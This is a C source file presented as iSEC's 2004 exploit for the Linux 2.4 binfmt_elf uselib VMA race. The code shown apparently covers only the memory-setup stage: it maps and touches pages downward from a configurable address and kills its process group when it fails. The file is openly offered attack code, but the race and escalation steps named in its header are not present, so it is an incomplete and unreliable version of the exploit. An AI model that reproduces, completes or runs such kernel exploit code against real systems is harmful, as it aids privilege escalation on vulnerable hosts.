/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.09
 *	tested only on 2.4.x and gcc 2.96
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <syscall.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <asm/page.h>

static int
	map_base=0x4000000,
	map_addr;

#define __NR_sys_mmap2		__NR_mmap2
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

void fatal(const char *message)
{
	int sig = SIGKILL;

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	printf("\n");
	fflush(stdout);

	for(;;) kill(0, sig);
}

void mmap_one_page()
{
	int *r, i;

	map_addr -= PAGE_SIZE;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, PROT_READ|PROT_WRITE,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("mmap2 failed");
	}

	/* TOUCH THE PAGE! THIS IS IMPORTANT! */
	*r = map_addr;
//	for (i = 0; i < 1024; i++)
//		*(r+i) = 0x128b128b;
//	memset(r, 0x11, PAGE_SIZE);
}



//	use elf library and try to sleep on kmalloc
void exploitme()
{
	int pages;

	map_addr = map_base;
	pages = map_addr/PAGE_SIZE;

//	map_addr = 0x2150000;
//	pages = 0x35;
	printf("mmaping 0x%08x downto 0x%08x...\n",
			map_addr, map_addr - pages * PAGE_SIZE);
	while(pages) {
		mmap_one_page();
		pages--;
	}
}

void usage(char *n)
{
	printf("\nUsage: %s\t\n", n);
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
	int r;

	while(ac) {
		r = getopt(ac, av, "a:h");
		if(r<0) break;

		switch(r) {

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value");
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

	exploitme();

	return 0;
}